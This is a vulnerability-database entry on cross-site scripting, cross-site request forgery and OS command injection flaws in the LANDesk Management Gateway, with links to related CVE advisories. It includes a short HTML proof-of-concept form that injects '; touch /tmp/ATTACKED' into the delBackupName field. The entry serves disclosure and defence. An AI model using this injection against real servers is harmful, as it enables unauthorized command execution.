Lucene search
K

LANDesk管理网关工具跨站脚本和跨站请求伪造漏洞

🗓️ 08 Feb 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

LANDesk Management Gateway Tool Cross-Site Scripting and Cross-Site Request Forgery Vulnerabilities. System management suite. Insufficient validation of user-submitted requests allows arbitrary command execution

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-0368
5 Feb 201000:00
circl
Core Security
LANDesk command injection
4 Feb 201000:00
coresecurity
CVE
CVE-2010-0368
4 Feb 201000:00
cve
CVE
CVE-2010-0369
4 Feb 201000:00
cve
Packet Storm
Core Security Technologies Advisory 2010.0104
6 Feb 201000:00
packetstorm
securityvulns
CORE-2010-0104 - LANDesk OS command injection
8 Feb 201000:00
securityvulns
securityvulns
Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
8 Feb 201000:00
securityvulns

                                                /-----
<html>
  <head><title>LANDesk PoC</title></head>
  <body>
    <form method="post" action="https://[server]/gsb/datetime.php">
      <input type="text" name="delBackupName" value="; touch
/tmp/ATTACKED">
      <input type="text" name="backupRestoreFormSubmitted" value="b">
      <input type="submit" value="Attack!">
    </form>
  </body>
</html>
- -----/
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation